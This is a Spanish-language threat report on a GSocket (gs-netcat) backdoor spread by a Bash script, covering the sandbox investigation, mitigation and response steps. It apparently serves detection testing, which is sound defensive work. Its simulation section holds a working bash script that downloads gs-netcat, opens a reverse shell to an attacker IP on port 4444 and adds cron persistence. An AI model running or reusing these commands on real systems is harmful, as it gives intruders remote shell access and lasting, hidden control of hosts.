Backdoor GSocket Distribuido a Través de Script Bash

Un script Bash armado descarga e inicia un cliente GSocket (gs-netcat) para establecer una puerta trasera en hosts Linux y macOS. Mantiene la persistencia a través de trabajos cron y cambios en .profile, mientras guarda un secreto compartido dentro de un archivo de clave SSH falso. Para reducir la visibilidad forense, el script utiliza métodos antiforenses que alteran las marcas de tiempo y ocultan evidencia de modificación de archivos. La puerta trasera resultante se comunica externamente a través de la red de retransmisión GSocket a una IP remota.

Investigación

El investigador detonó el script en un sandbox y confirmó la recuperación del gs-netcat binario, la creación de una entrada de persistencia basada en cron y la manipulación de archivos de inicio de usuario. Se dejó caer un archivo ELF falso llamado id_rsa en el directorio .ssh con el secreto compartido incrustado en lo que parece ser una clave SSH. También se identificaron rutinas de restablecimiento de marcas de tiempo, mostrando esfuerzos deliberados para difuminar las líneas de tiempo forenses. El script es compatible con múltiples sistemas tipo Unix al detectar primero el SO host.

Mitigación

Los defensores deben bloquear el tráfico saliente a los dominios y direcciones IP de retransmisión GSocket conocidos, y estar atentos a entradas cron no autorizadas o cambios sospechosos en .profile and .ssh rutas. La lógica de detección basada en hosts debería señalar el uso del gs-netcat nombre de archivo, así como los comandos comúnmente utilizados para manipular marcas de tiempo. Los controles de menor privilegio y el monitoreo de la integridad en los archivos de inicio pueden limitar aún más la capacidad de la puerta trasera para persistir sin ser detectada.

Respuesta

Si aparecen estos indicadores, aísle el host, adquiera el script malicioso y los binarios descargados, y comience una revisión forense completa. Elimine el mecanismo de persistencia cron y todos los artefactos maliciosos, rote las claves SSH afectadas y anule cualquier secreto compartido. Extienda la búsqueda a través del entorno para encontrar indicadores coincidentes y actualice el contenido de detección para capturar actividades similares.

Ejecución de Simulación

Prerrequisito: La verificación previa de Telemetría y Línea de Base debe haber pasado.

• Narrativa de Ataque y Comandos:
  Un atacante con privilegios limitados obtiene el binario gs-netcat de un repositorio público, lo coloca en /usr/local/bin, y lo ejecuta para abrir una shell inversa en el puerto 4444. Para mantener el acceso, el atacante crea un trabajo cron que reinicia la puerta trasera cada hora. Los pasos se realizan desde una shell comprometida en el host objetivo.

• Script de Prueba de Regresión:

  #!/usr/bin/env bash
  set -euo pipefail
  
  # 1. Descargar gs-netcat (simulado con un pequeño binario de marcador de posición)
  echo "[*] Descargando marcador de posición gs-netcat ..."
  curl -s -o /usr/local/bin/gs-netcat https://raw.githubusercontent.com/maaaaz/gs-netcat/master/gs-netcat_linux_amd64
  chmod +x /usr/local/bin/gs-netcat
  
  # 2. Iniciar gs-netcat en segundo plano (shell inversa al IP atacante 10.0.0.5)
  echo "[*] Iniciando shell inversa de gs-netcat ..."
  /usr/local/bin/gs-netcat -d 10.0.0.5 -p 4444 -e /bin/bash &
  GSN_PID=$!
  
  # 3. Verificar que el proceso está en ejecución
  sleep 2
  ps -p "$GSN_PID" -o pid,cmd
  
  # 4. Crear un trabajo cron que reinicie gs-netcat al inicio de cada hora
  echo "[*] Añadiendo persistencia vía cron ..."
  (crontab -l 2>/dev/null; echo "0 * * * * /usr/local/bin/gs-netcat -d 10.0.0.5 -p 4444 -e /bin/bash >/dev/null 2>&1") | crontab -
  
  echo "[+] Simulación completa. Esperando detección."

• Comandos de Limpieza:

  #!/usr/bin/env bash
  set -euo pipefail
  
  # Eliminar la entrada de cron añadida anteriormente
  echo "[*] Eliminando trabajo cron malicioso ..."
  crontab -l | grep -v "/usr/local/bin/gs-netcat -d 10.0.0.5 -p 4444 -e /bin/bash" | crontab -
  
  # Terminar cualquier proceso gs-netcat en ejecución
  echo "[*] Matando procesos gs-netcat ..."
  pkill -f "/usr/local/bin/gs-netcat" || true
  
  # Eliminar el binario
  echo "[*] Eliminando binario gs-netcat ..."
  rm -f /usr/local/bin/gs-netcat
  
  echo "[+] Limpieza terminada."